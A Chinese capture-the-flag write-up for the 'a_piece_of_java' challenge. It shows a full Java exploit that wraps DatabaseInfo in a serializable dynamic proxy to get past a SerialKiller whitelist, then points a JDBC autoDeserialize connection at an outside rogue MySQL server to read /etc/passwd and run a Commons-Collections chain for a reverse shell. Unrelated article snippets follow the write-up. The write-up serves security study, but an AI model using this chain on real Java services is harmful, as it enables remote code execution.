羊城杯 2020 a_piece_of_java

考点:JDBC反序列化打CC链+动态代理类触发readobject
image.png
一眼看过去 好像只有一个mysql-connector-java 可以利用jdbc
可能的攻击路径就有1) Mysql服务器任意文件读取 2) JDBC反序列化打依赖链
出现了一个不常见的依赖库 serialkiller 做了反序列化的过滤器
可以尝试查看其源码
https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml
image.png
会发现其隐形依赖了 commons-collections3.2也就是常见的CC 3.x
一种可能的路径就是 JDBC反序列化打CC依赖链 不排除Mysql的任意文件读取

 @GetMapping({"/hello"})public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {if (cookieData == null || cookieData.equals("")) {return "redirect:/index";}Info info = (Info) deserialize(cookieData);if (info != null) {model.addAttribute("info", info.getAllInfo());return "hello";}return "hello";}private Object deserialize(String base64data) {ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));try {ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");Object obj = ois.readObject();ois.close();return obj;} catch (Exception e) {e.printStackTrace();return null;}}

我们对/hello路由下的cookie可控 可以传入任意数据 但是 deserialize函数结合SerialKiller 做了白名单过滤
image.png
被反序列化的类只接受 本地的特定包

<regexp>gdufs\..*</regexp><regexp>java\.lang\..*</regexp>

仔细观察会发现
image.png
定义类 InfoInvocationHandler 实现了 InvocationHandler, Serializable
可以作为动态代理的处理类 而且可以被序列化
而我们的最终目的是 触发 DatabaseInfo 类中的 connect方法
image.png

同样的 被代理类实现了 序列化接口和Info接口
image.png
可以被动态代理 方法有 checkAllInfo() getAllInfo()
image.png
纵观源码不存在典型的readObject()可以被触发
但是存在 动态代理可以劫持 readObect()的这个动作
image.png

在具体的invoke()之前 就调用了类的 checkAllInfo()
如果被代理的类是 目标类DatabaseInfocheckAllInfo()方法
image.png
是可以实现 发起jdbc的连接的
对于 mysql 8.x版本

characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

通过触发ServerStatusDiffInterceptor拦截器,执行查询语句会调用拦截器的 preProcesspostProcess 方法 作为开头 最终实现ResultSetImplgetObject方法 实现反序列化操作
image.png

编写动态代理类 被代理对象是 DatabaseInfo

package gdufs.challenge.web;  
import gdufs.challenge.web.invocation.InfoInvocationHandler;  
import gdufs.challenge.web.model.DatabaseInfo;  
import gdufs.challenge.web.model.Info;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.Base64;  public class exp {  public static void main(String[] args) throws IOException {  DatabaseInfo databaseInfo = new DatabaseInfo();  databaseInfo.setHost("23.94.38.86");  databaseInfo.setPort("3306");  databaseInfo.setUsername("J1rrY");  databaseInfo.setPassword("characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");  InvocationHandler infoInvocationHandler = (InvocationHandler) new InfoInvocationHandler(databaseInfo);  Info infoproxy = (Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  objectOutputStream.writeObject(infoproxy);  String poc=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));  System.out.println(poc);  }  
}

这里的Mysql fake server
我选择 https://github.com/rmb122/rogue_mysql_server
具体配置按 Readme来就可以了
可以简单尝试一下都读取 /etc/passwd 失败了
image.png
直接用 JDBC反序列化链打CC链
image.png
环境出网,反弹shell就可以了
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/29093.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2000-2022年上市公司员工、工资数据

2000-2022年上市公司员工、工资数据 1、时间&#xff1a;2000-2022年 2、来源&#xff1a;上市公司年报 3、指标&#xff1a;年份、股票代码、股票简称、行业名称、行业代码、省份、城市、区县、行政区划代码、城市代码、区县代码、首次上市年份、上市状态、员工人数_人、应…

Windows 与 Java 环境下的 Redis 利用分析

1 前言 在最近的一次攻防演练中&#xff0c;遇到了两个未授权访问的 Redis 实例。起初以为可以直接利用&#xff0c;但后来发现竟然是Windows Java (Tomcat)。因为网上没有看到相关的利用文章&#xff0c;所以在经过摸索&#xff0c;成功解决之后决定简单写一写。 本文介绍了…

【工程2区】毕业神刊 —— 1-2个月录用!非黑!非预警!

【欧亚科睿学术】 电力能源类SCIE ✅ 进展超顺 ✅ 录用率高 ✅ 领域相关均可 【期刊简介】IF&#xff1a;1.0-2.0&#xff0c;JCR2区&#xff0c;中科院4区 【版面类型】正刊&#xff0c;仅少量版面 【终审周期】走期刊部系统&#xff0c;预计3个月左右录用 【检索情况…

Linux基本知识----3

1.什么是linux&#xff1f; Linux继承了Unix以网络为核心的设计思想&#xff0c;是一个性能稳定的多用户网络操作系统 2.为什么 Linux 体系结构要分为用户空间和内核空间的原因&#xff1f; Linux 为了保护内核的安全&#xff0c;把系统分成了两部分。 3.BASH和DOS之间的基…

使用SpringBoot对接Kafka

Kafka是什么&#xff0c;以及如何使用SpringBoot对接Kafka 一、Kafka与流处理 我们先来看看比较正式的介绍&#xff1a;Kafka是一种流处理平台&#xff0c;由LinkedIn公司创建&#xff0c;现在是Apache下的开源项目。Kafka通过发布/订阅机制实现消息的异步传输和处理。它具有高…

JS是什么

JS 是 JavaScript 的缩写&#xff0c;它是一种轻量级的、解释型的或即时编译型的编程语言。JavaScript 主要被用于在网页上实现动态的、交互式的功能。它可以直接嵌入到HTML网页中&#xff0c;也可以通过外部文件来链接。 JavaScript 有以下主要特性和用途&#xff1a; 动态交…

JAVA动态表达式:反向解析表达式

接上面&#xff1a; JAVA动态表达式&#xff1a;Antlr4 G4 模板 读取字符串表达式结构树-CSDN博客 JAVA动态表达式&#xff1a;Antlr4 表达式树解析-CSDN博客 JAVA动态表达式&#xff1a;Antlr4 G4模板-CSDN博客 上面的内容是实现了表达式转行成类。 如&#xff1a;proc…

【保姆级】Linux 基于 Docker 部署 ES7.7.0 elasticsearch7.7.0

一、拉取 ES 镜像 docker pull elasticsearch:7.7.0二、创建挂载目录并授权 # 挂载目录 mkdir ~/elasticsearch mkdir ~/elasticsearch/config mkdir ~/elasticsearch/data mkdir ~/elasticsearch/plugins# 赋予权限 sudo chmod -R 777 &#xff5e;/elasticsearch/ sudo chm…

组件二次封装,通过属性事件透传,插槽使用,组件实例方法的绑定,深入理解 Vue.js 组件扩展与插槽

透传&#xff0c;插槽&#xff0c;组件实例方法的绑定&#xff0c;深入理解 Vue.js 组件扩展与插槽 前言 Vue.js 提供了强大的组件化系统&#xff0c;允许开发者构建可复用、可组合的UI组件。在实际项目中&#xff0c;直接使用第三方库提供的基础组件&#xff08;如Element UI…

Internet Download Manager(IDM6.41)软件下载-详细安装教程视频

Internet Download Manager有一个智能下载逻辑加速器&#xff0c;具有智能动态文件分割和安全的多部分下载技术&#xff0c;可以加速下载。与其他下载加速器和管理器不同&#xff0c;Internet下载管理器在下载开始之前对文件进行分段&#xff0c;而Internet下载管理器在下载过程…

用TensorRT-LLM进行LLama的推理和部署

Deploy an AI Coding Assistant with NVIDIA TensorRT-LLM and NVIDIA Triton | NVIDIA Technical BlogQuick Start Guide — tensorrt_llm documentation (nvidia.github.io) 使用TensorRT-LLM的源码&#xff0c;来下载docker并在docker里编译TensorRT-LLM&#xff1b; 模型…

模拟14位相机输出输入到bram Verilog代码

1 模拟输出代码 `timescale 1ns / 1psmodule simulate_camera_out (input clk,input rest_n,output camera_clk, //像素时钟output [13:0] camera_data, //像素值数据output [19:0] pixel_xy, //此时输出的像素值坐标output reg frame_valid //帧有效信号,1代表帧有效0代…

细说MCU定时器中断的实现方法

目录 一、硬件及工程 二、STM32G4系列MCU的定时器 三、定时器中断的实现过程 1、配置新工程.ioc 2、代码修改 &#xff08;1&#xff09;时钟初始化函数MX_TIM3_Init() &#xff08;2&#xff09;使能定时器中断 &#xff08;3&#xff09;定时器中断服务函数 &#…

从混乱到秩序:数据提取与治理的重要性

&#x1f525;从混乱到秩序&#xff1a;数据提取与治理的重要性&#x1f525; &#x1f4ca; 大家好&#xff0c;今天我们来聊聊一个在我们生活中无处不在&#xff0c;但又经常被忽视的话题——#数据提取与治理#。 &#x1f4ad; 想象一下&#xff0c;你走进一个满是杂物的房…

Android Calculator2源码分析与修改

private CalculatorDisplay mDisplay; private Symbols mSymbols new Symbols(); -41,6 44,7 class Logic { private int mLineLength 0; private static final String INFINITY_UNICODE “\u221e”; private static final String ZMS_NUMBER “55555”; public stat…

Linux构建本地时间同步ntp

环境介绍&#xff1a; 主机名 IP地址 系统发行版 环境 Node01 192.168.100.102 Centos 7.4 可联网、已关闭防火墙selinux Node02 192.168.100.103 Centos 7.4 已关闭防火墙selinux 1.主节点同步阿里云标准时间 在保证连接外网的情况下&#xff0c;同步阿里服务器的…

C#面:构造函数是否能被重写?

构造函数不能被重写。 构造函数是用于创建对象时初始化对象的特殊方法&#xff0c;它的名称与类名相同&#xff0c;并且没有返回类型。在派生类中&#xff0c;可以使用基类的构造函数来初始化继承的成员&#xff0c;但不能重写基类的构造函数。派生类可以定义自己的构造函数来…

安卓gradel下载失败解决方案

安卓gradel下载失败解决方案 直接下载下来放到指定目录下 直接下载下来放到指定目录下 目录&#xff1a;C:\Users\Administrator.gradle\wrapper\dists&#xff08;可以直接在C盘搜索.gradle文件夹&#xff09; 找到后&#xff0c;将gradle*.zip放到与.zip.lck和.zip.ok同级的…

nodejs日志:morgan和winston篇

文章目录 介绍一下morgan和winston的区别morgan功能优势&#xff1a; winston功能优势 选择 代码示例 介绍一下morgan和winston的区别 morgan 功能 morgan 是一个 HTTP 请求日志中间件&#xff0c;专门用于记录 Express 应用的 HTTP 请求日志。它简单易用&#xff0c;提供多…

Spring的SmartLifecycle可以没用过,但没听过就不好了! - 第517篇

历史文章&#xff08;文章累计500&#xff09; 《国内最全的Spring Boot系列之一》 《国内最全的Spring Boot系列之二》 《国内最全的Spring Boot系列之三》 《国内最全的Spring Boot系列之四》 《国内最全的Spring Boot系列之五》 《国内最全的Spring Boot系列之六》 《…